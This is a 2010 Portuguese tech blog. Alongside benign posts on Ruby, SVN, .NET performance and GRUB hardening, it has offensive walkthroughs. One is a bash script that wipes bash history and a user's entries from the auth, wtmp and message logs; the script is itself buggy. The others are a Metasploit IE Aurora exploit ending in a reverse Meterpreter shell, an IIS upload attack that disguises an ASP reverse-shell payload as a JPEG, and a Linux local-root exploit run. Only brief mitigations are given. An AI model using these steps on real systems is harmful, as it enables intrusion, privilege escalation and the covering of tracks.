terça-feira, 23 de março de 2010

Ruby on Rails para Javaneses

Há pouco tempo entrei em um projeto voluntário para Web com Ruby on Rails. Legal né?? O problema é que nunca tinha mexido com RoR ou qualquer coisa parecida. Meu forte sempre foi Java, C# e outras linguagens "estáticas". Para quem vem do Java, Ruby é assustador. De cara já tive uma sensação do tipo: "aqui pode tudo", muito diferente do "quase tudo é proibido" do Java.
Passado o perído do "nossa! o que é isso??" logo me entusiasmei com RoR. Tive a sensação de estar com um microfone passando instruções para meu querido PC, pois, com Ruby é assim mesmo "Você fala, Ruby escuta".
Abaixo listo algumas diferenças substanciais que senti entre Ruby e Java.

Instalação - A instalação do conjunto Ruby + gem + Rails é quase mágica. No Windows, na forma mais complicada, a instalação é uma "sequência de Next, executa UM script, executa UM comando". Mas você também pode optar por um pacote "One-click" onde com poucos clicks você já está com tudo rodando perfeitamente. No linux, o processo é igualmente simples. A facilidade da instalação me fez lembrar como apanhei para instalar o JDK pela primeira vez. (instala pacote, configura PATH, configura variáveis de ambiente, bla, bla bla). 


Não há tipos primitivos - Em Ruby "Tudo é um objeto", até mesmo aquele seu Int que é um objeto da classe FixNum. Ou seja, você fazer 4.div(2) que o interpretador irá aceitar normalmente. 
 
Threads independentes de Sistema Operacional - A implementação de threads é feita diretamente no Kernel do Ruby, o que permite rodar processos paralelos em qualquer SO, inclusive no DOS.
Tipagem dinâmica - Não é necessário definir o tipo do objeto antes de instância-lo. Como na grande maioria das linguagens de scripts os  tipos de objetos são definidos em tempo de execução.  Porém, apesar disso Ruby também é fortemente tipado, assim como Java.
Definição de métodos - chega de public boolean blablabla() { } . Em Ruby métodos são iniciados com: def nome() terminados em end e a ultima expressão avaliada sempre é retornada, embora seja possível colocar um return em qualquer parte do código.
          Veja um exemplo:
           def modelo()
            @modelo
           end

           O código acima é a mesma coisa que:
            public String modelo() {
                             return this.modelo;
                        }
           Sentiu a diferença??
 

Parametros default - Parâmetros podem receber um valor default que será assumido caso o método seja chamado sem parâmetros.

def marca(tipo=1) 
                @tipo = tipo
         end


Você pode chamar o método acima tanto com marca(9999) quanto com marca() . No último caso o valor de tipo será 1. Em java você seria obrigado a implementar no minimo dois métodos.

Gets e Setters - Existem 3 formas de definir métodos getters e setters.

          Forma 1:
          #declaração da variável
                      @marca 


          #método get                      
                      def marca
                           @marca
                      end


          #método set
                      def marca = (marca)
                            @marca = marca
                      end


             Forma 2:
             #declaração de variável e getter.
                       attr_reader :marca, :modelo


             #declaração de variável e setter. 
                        attr_writer :cor.


             Forma 3:
             #declaração de variável, getter e setter.
                        attr_accessor :marca, :modelo, :cor.


Lembra do que eu falei no início?? "Você fala, Ruby escuta".
           
Giorge Henrique Abdala 



#################################################
Referência: http://eustaquiorangel.com/downloads/tutorialruby.pdf

Leia Mais…

domingo, 21 de março de 2010

Apagando arquivos de Log

Recentemente precisei escrever um script simples para apagar logs de acesso de um sistema debian. Não é nada comparado com qualquer log cleaner, mas, deu pro gasto.

Segue código:

#!/bin/bash

USUARIO=$1
IP=$2

MESSAGES=/var/log/messages
FTP=/var/log/vsftpd.log
LOGIN=/var/log/wtmp
AUTH=/var/log/auth.log


if [ $# -lt 1 ] ; then
    echo "uso: clean usuario [arquivo]"
    exit;
fi


if [ $USUARIO == root ] ; then
    echo "deletando /root/.bash_history"
    rm -f /root/.bash_history
else
    echo "deletando /home/"$USUARIO"/.bash_history"
    rm -f /home/$USUARIO/.bash_history
fi

echo "Limpando entradas em" $MESSAGES "que correspondem ao usuario" $USUARIO
cat $MESSAGES | grep -v $USUARIO > $MESSAGES

echo "Limpando entradas em" $FTP "que correspondem ao usuario" $USUARIO
cat $FTP | grep -v $USUARIO > $FTP

echo "Limpando entradas em" $LOGIN "que correspondem ao usuario" $USUARIO
cat $LOGIN | grep -v $USUARIO > $LOGIN

echo "Limpando entradas em" $AUTH "que correspondem ao usuario" $USUARIO
cat $AUTH | grep -v $USUARIO > $AUTH

if [ $# == 2 ] ; then
    echo "Limpando linhas em "$AUTH "que correspondem a" $2
    cat $AUTH | grep -v $2 > $AUTH

O que o script faz é o seguinte:

 primeiro ele apaga .bash_history no diretório:

   /root - caso o usuário especificado como parametro seja root.

   /home/usuario - caso usuário passado como parametro seja diferente de root.

Após isso, o script faz uma busca em alguns arquivos e apaga todas as linhas que combinam com o usuário passado com parâmetro. Os arquivos procurados são os seguintes:

/var/log/messages   -  registrar todas as operações do sistema ou de programas do mesmo.
/var/log/vsftpd.log  - registrar todas as operações logon/logoff realizadas pelo daemon de ftp.

/var/log/wtmp - registrar os logons de usuários. É um arquivo binário que trabalha em conjunto com a função who para a identificação do usuário.

/var/log/auth.log - Registra operações de autenticações.

Lembrando que você ainda pode especificar, no lugar do usuário, qualquer string que deseja retirar dos arquivos mencionados a cima.  Se você desejar adicionar um outro arquivo para realizar a limpeza é só passar o diretório como segundo parâmetro, assim:

giorge#: clean root /var/log/dmesg

O script é bem básico mesmo e só faz o feijão com arroz. Se você precisar de algo mais elaborado melhor procurar pelo ZAP ou pelo hideme.c.

Abraços

Giorge Henrique Abdala

Leia Mais…

quinta-feira, 11 de fevereiro de 2010

Apagar todas as pastas .svn

Quando queremos mudar nosso repositório SVN de lugar, ou ainda quando o tortoise (ou outras ferramentas similares) gera aqueles erros "sinistros" que nem um "cleanup" resolve, precisamos apagar todos as pastas .svn de nosso projeto. Obviamente, dependendo do tamanho do projeto, é inviável entrar pasta por pasta e apagar todos .svn. Para resolver esse problema tem uma linha de comando que faz todo o trabalho sujo. Simples, rápido e eficiente.

$ rm -rf `find . -type d -name .svn`

Outra maneira é usar o "svn export" e exportar o projeto para uma um outro diretório mas sem os .svn. Com o tortoise você pode facilmente fazer "botão direito no projeto -> TortoiseSVN -> Export..." Deixe desmarcado a checkBox "Export unversioned files too".
Ou ainda, se preferir, pode usar a linha de comando:

svn export DESTINO


Giorge Henrique Abdala

Leia Mais…

sexta-feira, 22 de janeiro de 2010

Lançado Nmap 5.20

Confira as novidades:

30 novos engine scripts adicionados.
melhor desempenho e consumo de memória reduzido.
Protocolo específico de payload para scanners UDP mais efetivos.
engine traceroute completamente reescrita.
Update das assinaturas para detecção de versões de SO e Bancos de dados (mais de 10.000 assinaturas)

Download aqui.


Giorge Henrique Abdala

Leia Mais…

Dicas para melhorar a performance do .Net Compact Framework

Neste artigo veremos algumas dicas para resolver problemas comuns de desempenho em aplicações para Windows Mobile com o .Net compact framework. Devido às limitações de hardware, quando desenvolvemos para dispositivos móveis, precisamos nos preocupar com a performance da aplicação  e evitar as "bad pratices".  A maioria das orientações foram oferecidas diretamente pelo time de desenvolvimento do NET Compact Framework,  porém, devem ser usadas apenas quando for necessário para evitar códigos confusos, pouco reaproveitáveis e de difícil manutenção.

String imutável - Essa é aquela velha história que todo programador Java e/ou .Net já deve saber. Strings são imutáveis, ou seja, não é possível fazer qualquer modificação em uma String. Quando você utilizar a concatenação um novo objeto String é criado. Isso tem um alto custo e deve ser evitado SEMPRE. Ao invés de usar concatenação opte por utilizar StringBuilder.

Código a ser evitado:

String str = "string inicial";
for (int i = 0; i < 1000; i++) {
    str += "String concatenada";

}

Código a ser usado:

StringBuilder str = new StringBuilder();
for (int i = 0; i < 1000; i ++) {
    str.Append("String concatenada");

}

Uso de XML - Quando um XML for maior que 64 Kb utilize System.Xml.XmlReader, ao invés de System.Xml.XmlDocument. Para melhorar o desempenho defina a propriedade 'IgnoreWhiteSpace' como true para ignorar os espaços em branco não significativos (usados apenas para facilitar a leitura humana). Sempre que puder utilize nomes curtos  para elementos e atributos, pois, isso reduz o tamanho final do arquivo.

Reflection - Não adianta, reflections são lentos em qualquer lugar, inclusive no Desktop. Em dispositivos móveis são de 10 a 100 vezes mais lentos, portanto evite sempre. Substitua os Reflection por métodos Factory (Design patern) e uso de interfaces. Não esqueça que Web Services utilizam Reflection. Uma boa dica é utilizar o padrão singleton e manter apenas uma instância do Web Service para a aplicação inteira.

Exemplo para utilizar Web Service e evitar desperdícios de recursos com reflection.

//classe que irá gerenciar o web service
public static class WebService() {

//instância do web service  
private static WSCorreios www = null;

//método estático usado para pegar a instância do Web Service.
public static getWSCorreios() {
   if (www == null)
      www = new WSCorreios();
   return www;

}
}

//classe que irá usar o WebService
public class usarWS() {

//construtor
public usarWS() {
}
   //pega a instância do Web Service
   WSCorreios www = WebService.getWSCorreios();
 
   //usa métodos do Web Service
   www.getCep();
}
}


Boxing e Unboxing - Tipos primitivos são armazenados na pilha (STACK) e por isso não envolvem o Garbage Collector. Isso é muito bom para o desenvolvedor porque economiza muitos recursos, porém, quando é feito o boxing é guardado um tipo por referência no HEAP, e por isso a limpeza será controlada pelo Garbage Collector. Procure evitar usar boxing.

Object - Quando a aplicação acessa uma variável declarada como Object o CLR é obrigado à realizar a checagem de tipo e procurar esse objeto em tempo de execução, portanto, usar o tipo Object sempre gera um custo maior e muitas vezes desnecessário.

Collection - Sempre utilize arrays simples para tipos primitivos e System.Collection.Generic  (List) para coleções de objetos. Evite o uso de ArrayList para guardar qualquer coisa, pois além de fazer o boxing (desnecessários para tipos primitivos) ainda usa Object para guardar os objetos.

Melhor maneira para guardar coleçoes de tipos primitivos:

int[] Lista = new int[100000];
for(int i = 0; i < 100000; i++) {
      Lista[i] = i;

}

Melhor maneira para guardar coleções de objetos:

List Lista = new List(100000);
for(int i = 0; i < 100000; i++) {
        Lista.Add(i);

}

Pior maneira para guardar qualquer coisa:

ArrayList Lista = new ArrayList(100000);
for(int i = 0; i < 100000; i++) {
      Lista.Add(i);

}

####################
Referência:
http://msdn.microsoft.com/en-us/library/1766918e.aspx
http://msdn.microsoft.com/en-us/library/ms172524.aspx

Giorge Henrique Abdala

Leia Mais…

quinta-feira, 21 de janeiro de 2010

Lançado novo ProcNetMonitor


 ProcNetMonitor é uma ferramenta gratuita que monitora a atividade de todos os processos em execução no sistema, exibe todas as portas abertas e todas conexões ativas para cada processo.  Essa nova versão também possui o recurso "Port Finder" que torna fácil a busca por processos com conexões ativas em uma determinada porta. Além do mais, também vem com um recurso de exportação para HTML o que torna possível fazer uma análise off-line.
ProcNetMonitor funciona em todas as versões do Windows a partir do XP.
Download aqui.


Giorge Henrique Abdala

Leia Mais…

terça-feira, 19 de janeiro de 2010

Internet Explorer Aurora Exploit

Dia 17/01/2009 a galera da Offensive Security disponibilizou um exploit que explora a vulnerabilidade aurora (CVE-2010-0249) encontrada no Internet Explorer  6, 6 SP1, 7 em várias versões do windows.


O exploit disponibilizado é desenvolvido em phyton e executa a calculadora do windows no alvo.
O download pode ser feito em: http://www.exploit-db.com/exploits/11167.

para usa é fácil. É necessário ter o phyton defidamente instalado.

Windows/Linux:$ python ie_aurora.py 8080
[-] Web server is running at http://127.0.0.1:8080/



onde:
8080 - porta local

depois é só acessar pelo IE o endereço mostrado pelo script, no caso, http://127.0.0.1:8080/.
 O exploit será enviado e a calculadora executada no alvo.

Executar uma calculadora não é nada útil, mas, você pode modificar o script e colocar um payload metasploit para ser executado no lugar da calculadora, ou ainda, usar o próprio módulo do Metasploit, que facilita muito todo o trabalho. Irei mostrar agora como explorar essa vulnerabilidade pelo metasploit.

Primeiro execute o update do Metasploit(msfupdate), como Administrador ou root, para pegar os novos módulos. Depois rode o console do metasploit e faça:


msf > use exploit/windows/browser/ie_aurora
msf exploit(ie_aurora) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ie_aurora) > set LHOST (your IP)
msf exploit(ie_aurora) > exploit

[*] Exploit running as background job.
[*] Started reverse handler on port 4444
[*] Local IP: http://192.168.0.151:8080/
[*] Server started.

msf exploit(ie_aurora) >  

O payload usado abre uma conexão reversa no alvo. Em seguida abra o IE e acesse o endereço mostrado (http://192.168.0.151:8080/).

[*] Sending stage (723456 bytes)
[*] Meterpreter session 1 opened (192.168.0.151:4444 -> 192.168.0.166:1514)

msf exploit(ie_aurora) > sessions -i 1
[*] Starting interaction with 1...




meterpreter > shell

Process 892 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Developer\Desktop>

Pronto. Você já tem acesso shell disponível no alvo.

Obs: Aparentemente só funciona com o IE 6. Meus testes com windows XP SP3 e Internet Explorer 6 funcionaram perfeitamente, porém, no windows Vista e Internet Explorer 7 não obtive resultado.

################
Solução: Segundo nota emitida pela Microsoft a melhor forma de se pevenir do ataque é atualizando seu Internet Explorer para a versão 8.

Referências:
http://www.microsoft.com/technet/security/advisory/979352.mspx

 
Giorge Henrique Abdala

Leia Mais…

quinta-feira, 14 de janeiro de 2010

TCC Metasploit

Esse achei na net há pouco tempo. É um TCC produzido pelo Julio Cesar Liviero Della Flora para a UniFil de londrina. É um trabalho muito bem estruturado, com explicações e várias imagens. Ponto de partida para qualquer um que deseja iniciar na área de testes de vulnerabilidades.

http://www.4shared.com/file/164179969/d59dfd55/TCC_JULIO.html

PS: não é pirataria. O trabalho foi disponibilizado na rede pelo próprio autor.

Giorge Henrique Abdala

Leia Mais…

Impedindo o Acesso sem senha

Este é um artigo meu publicado no Dicas-l em 20 de dezembro de 2005. O objetivo é impedir o acesso sem senha à um sistema Linux gerenciado pelo grub/lilo.
Não sei como estão as coisas hoje, mas, lembro que na época com esses passos a única maneira de de acessar seu sistema, sem possuir uma senha,  era abrindo a máquina e retirando da bateria da BIOS.
Reproduzo aqui o artigo da mesma forma que foi publicado no Dicas-l.



 Impedindo o Acesso sem senha

O grub, gerenciador de boot padrão em muitas distribuições, possui alguns artifícios que permitem a entrada no sistema como root sem a necessidade de digitar uma senha. Nessa dica explicarei como prevenir esse tipo de coisa, fazendo uso de alguns procedimentos que podem, inclusive, serem adaptados a outros gerenciadores de boot, como o Lilo.

As maneiras mais conhecidas para entrar no sistema sem senha são:

1. disquete de boot.
2. trocando o runlevel para 1 (Single ou manutenção).
3. Trocando o runlevel para `init=/bin/bash`.

Para impedir que alguém não autorizado tenha acesso total usando qualquer uma das opções citadas, siga os seguintes passos.

1. Edite o /etc/inittab e verifique se existe uma linha parecida com:

su:S:wait:/etc/rc.d/rc.sulogin

Essa linha diz ao sistema para, quando iniciado no modo Single, executar o arquivo /etc/rc.d/sulogin. Seguindo a lógica, edite o script /etc/rc.d/sulogin, e adicione a linha:

sulogin -p

*/Para forçar o sistema a pedir a senha root sempre que for iniciado no modo manutenção*/

2. Com o procedimento anterior, padrão em muitas distribuições, você impede o acesso no modo single, porém, ainda é possível o acesso sem senha trocando o runlevel para init=/bin/bash. Para evitar faça:

#grub

*/criptografa uma senha ser usada no grub*/
grub> md5crypt

*/digite a senha a ser criptografada*/
password: *********

A saída do comando será a senha criptografada, algo como:

encrypted: $1$2atu01$qdxmcgaxxw0pehytdvixo.

Edite o arquivo /boot/grub/menu.lst, e adicione, no início do arquivo, a seguinte linha:

password = --md5


Lembrando que "" deverá ser trocado pelos caracteres obtidos com o md5crypt do grub. Salve o /boot/grub/menu.lst e retire a permissão de escrita de todos os usuários. Reinicie a máquina e tente editar os parâmetros do grub, ou entrar na linha de comando, para ver o que acontece.


Repare que colocar senha no grub evita também o acesso pelo modo Single e a vizualização de arquivos confidenciais, pois, a edição dos parâmetros do grub e a linha de comando ficam restritas a quem possuir a senha.


Se você quiser, pode adicionar "lock", logo após a linha de senha no menu.lst, e forçar o grub pedir senha até mesmo para iniciar uma partição. Se preferir, adicione "password = --md5 " e "lock" nas opções de cada Sistema Operacional "setado" no menu.lst, e configure uma senha diferente para cada SO.


Para aumentar ainda mais a segurança, coloque senha no setup, para impedir que mudem a sequência de boot. Isso irá evitar o acesso com um disquete de recuperação.

A Opção de senha também pode ser usada com o Lilo. 


Para mais informações consulte:

* info grub, man lilo
* GRUB
* Lilo HOWTO



Giorge Henrique Abdala

Leia Mais…

Novo repositório de exploits

Após a infeliz "queda" do milw0rm muita gente ficou sem uma "referência" para buscar exploits, mas felizmente, parece que o pessoal da Offensive Security "adotou" o banco de dados do milw0rm e o transformou em um novo site.
O novo repositório contém as mesmas categorias que o milw0rm (remote, local, web, dos e shellcode) e, aparentemente, está bem atualizado, contando, hoje, com 10309 exploits.

usem com moderação: http://www.exploit-db.com/

Giorge Henrique Abdala

Leia Mais…

quarta-feira, 13 de janeiro de 2010

Enviando um trojan para o IIS - Upload de arquivos

Há pouco mais de um mês o metasploit, a partir do msfencode, permite geração de scripts ASP contendo um payload metasploit, ou seja, você pode facilmente criar uma página ASP que quando executado pelo navegador irá rodar uma backdoor ou coisa do gênero.

Isso expõe muitas páginas WEB que permitem o upload de fotos, imagens e outros "arquivos seguros". Normalmente as aplicações web que fazem upload verificam o tipo e a extensão do arquivo que será enviado, porém, a análise do IIS é bem trivial.
Um arquivo com o nome foto.asp;.jpg por exemplo, irá passar por uma aplicação como sendo um .JPG, porém, quando o IIS executar sua análise irá parar no .asp e imediamente executar o arquivo.

Qualquer aplicação de upload, com um mínimo de segurança, irá verificar, além da extensão, também o tipo do arquivo, mas, isso pode fácilmente ser burlado com um 'cat'.

Vamos ao exemplo.

Primeiro gere o .ASP contendo o payload desejado.

Windows/Linux:$ msfpayload windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=3333 R | msfencode -o foto.asp

onde:
 msfpayload/meterpreter/reverse_tcp - Localização do payload desejado. No exemplo foi utilizado o reverse_tcp que abre uma conexão remota reversa no host e porta especificado.
LHOST - Seu endereço ip para a conexão reversa.
LPORT - A porta onde você ficará esperando a conexão reversa.
R | msfencode -o payload.asp - passa o fluxo de dados para o msfencode e gera um arquivo "foto.asp" com o código do payload.

Pronto, seu payload está gerado. Em uma aplicação web que apenas verifique a extensão do arquivo bastaria mudar o nome de "foto.asp" para "foto.asp;.jpg" que seria suficiente para fazer o upload.

Para aplicações que verificam o tipo do arquivo antes de enviar basta usar o cat:

Linux:$ cat foto.jpg payload.asp > "foto.asp;.jpg"


Creio que copy /v /b foto.jpg+payload.asp foto.asp;.jpg funcione no Windows/Dos mas não cheguei a testar. Se alguem conseguir por favor me avise.

Isso irá juntar um arquivo jpg ao seu payload. É possível verificar o tipo do arquivo com:

Linux:$ file foto.asp;.jpg
fts.jpg: JPEG image data, JFIF standard 1.01

Inicie o console do metasploit e coloque sua máquina para "esperar" a conexão reversa.

$ msfconsole
msf> use exploit/multi/handler
msf (handler)> set PAYLOAD windows/meterpreter/reverse_tcp
msf (handler)> set LHOST 127.0.0.1
msf (handler)> set LPORT 3333
msf (handler)> set ExitOnSession false
msf (handler)> exploit -j

[*] Exploit running as background job.
msf exploit(handler) >
[*] Starting the payload handler...
[*] Started reverse handler on port 3333


Agora carregue o arquivo foto.asp;.jpg para o servidor. Verifique que como extensão e type do arquivo indicam que é um jpg a aplicação aceita normalmente o payload e o guarda em um diretório que pode ser acessado pelo navegador. (normalmente /imagens/foto.asp;.jpg). Em alguns testes que fiz a aplicação mudou o nome do arquivo direto para foto.asp. Em outros casos o arquivo foi renomeado para foto.as (nesse caso é só alterar o nome original do payload para 'foto.aspp;.jpg' e fazer o upload novamente).  Se por acaso já tiver uma imagem no servidor com o mesmo nome provavelmente o arquivo será renomeado para 'foto2' ou foto3.
Pronto, agora é só executar o arquivo .asp pelo navegador que você verá algo do tipo no console do metasploit:

[*] Sending stage (723456 bytes)
msf exploit(handler) > [*] Meterpreter session 1 opened (189.26.20.122:3333 -> 201.53.3.20:4768)

Isso significa que a conexão foi estabelecida com sucesso.

depois é só abrir a sessão e chamar o shell.

msf exploit(handler)
> sessions -i 1
[*] Starting interaction with 1...

meterpreter>
shell

Process 2668 created.
Channel 1 created.
wMicrosoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
c:windowssystem32inetsrv>

###############################
Solução: A maneira mais óbvia de evitar esse tipo de ataque é retirando a permissão de execução nos diretórios de upload. Vale lembrar que com a execução habilitada  vários outros bugs podem ser explorados e não apenas esse do IIS.

Sem mais...

Referências:
http://www.metasploit.org/
http://blog.metasploit.com/
http://blog.rapid7.com/

Giorge Henrique Abdala

Leia Mais…

Lançado Backtrack 4 final

BT4

Depois do beta do ano passado, uma longa espera e o apoio massivo da comunidade, finalmente saiu a versão final do backtrack 4.
Segundo os desenvolvedores, essa versão inclui novo kernel, mais ferramentas, suporte à novos dispositivos e correção de todos os bugs descobertos.


Download: http://www.backtrack-linux.org/downloads/


Giorge Henrique Abdala

Leia Mais…

sábado, 9 de janeiro de 2010

Kernel Linux exploit - Local root

Esse exploit explora uma falha no Sock_sendpage e dá poderes de root para qualquer usuário local. Essa é uma falha, muito grave, que afeta todos os linux kernel 2.4 e 2.6 em todas as arquiteturas desde 2001, é provavelmente uma das maiores falhas já vista no mundo linux.

Já foram produzidos vários exploits para variadas arquiteturas. O exploit que testei foi desenvolvido por um brasileiro (Ramon de Carvalho Valle ramon@risesecurity.org ) e deve funcionar em todos i386 e x86_64.

Download do exploit em: http://downloads.securityfocus.com/vulnerabilities/exploits/36038-6.c
 
Depois é só compilar com o gcc e executar para virar root imediatamente.

Veja o teste no meu sistema.

 
/exploit$ gcc -Wall -o linux-sendpage linux-sendpage.c
linux-sendpage.c:374:6: aviso: nenhuma linha-nova no fim do arquivo
/exploit$ ./linux-sendpage
sh-3.2# 
 
#######################
Correção: Infelizmente, creio que só compilando o  
kernel com o path atualizado. Se você usa debian,  
ubuntu, ou similares veja em http://kernelsec.cr0.org/ 
 
Referências:
http://kbase.redhat.com/faq/docs/DOC-18042
http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html 
 
 
 
Giorge Henrique Abdala

Leia Mais…

sexta-feira, 8 de janeiro de 2010

Mssqlfp - Microsoft SQL Server Fingerprint Tool

Mssqlfp é uma ferramenta que realiza fingerprints sobre SQL Server 2000, 2005 e 2008, usando técnicas baseadas em diversas ferramentas públicas de identificação do SQL Server. Usa algoritimos probabilísticos para a identificação do serviço MSSQL e pode ser usado para identificar versões vulnerávis do Sql Server.



Segue resultado de um teste que fiz:


Windows:$ mssqlfp-BETA4 -d HOST

MSSQLFP Version 1.00.BETA-4 [Built on Jan 8 2010 20:36:54].

Loading Microsfot SQL Server Fingerprinter Engine [SQLFPENG].
Module SQLFPENG [1.10.0108] loaded

Module SQLFPENG reported: Connection timed out.
Module SQLFPENG failed to perform SQL Server UDP Fingerprint.
Module SQLFPENG found SQL Server TCP Fingerprint Version [8.00.818].
Module SQLFPENG found SQL Server Version [Microsoft SQL 2000 SP3+Q821277/337/818388/826161/821280].
Module SQLFPENG found SQL Server default TCP Communication Port [1433].
Module SQLFPENG succeeded to detect Microsoft SQL Server Version [100%].
Unloading Microsfot SQL Server Fingerprinter Engine [SQLFPENG].
Module SQLFPENG [1.10.0108] unloaded on Wednesday [Jan 13 03:31:42 2010].
Module SQLFPENG succeeded after 01 tentative [Elapsed time: 00:00:00].


No caso a versão achada foi Microsoft SQL 2000 SP3+Q821277/337/818388/826161/821280 rodando na porta padrão (1433).



Download: http://mssqlfp.googlecode.com/files/mssqlfp-BETA4.exe

Giorge Henrique Abdala

Leia Mais…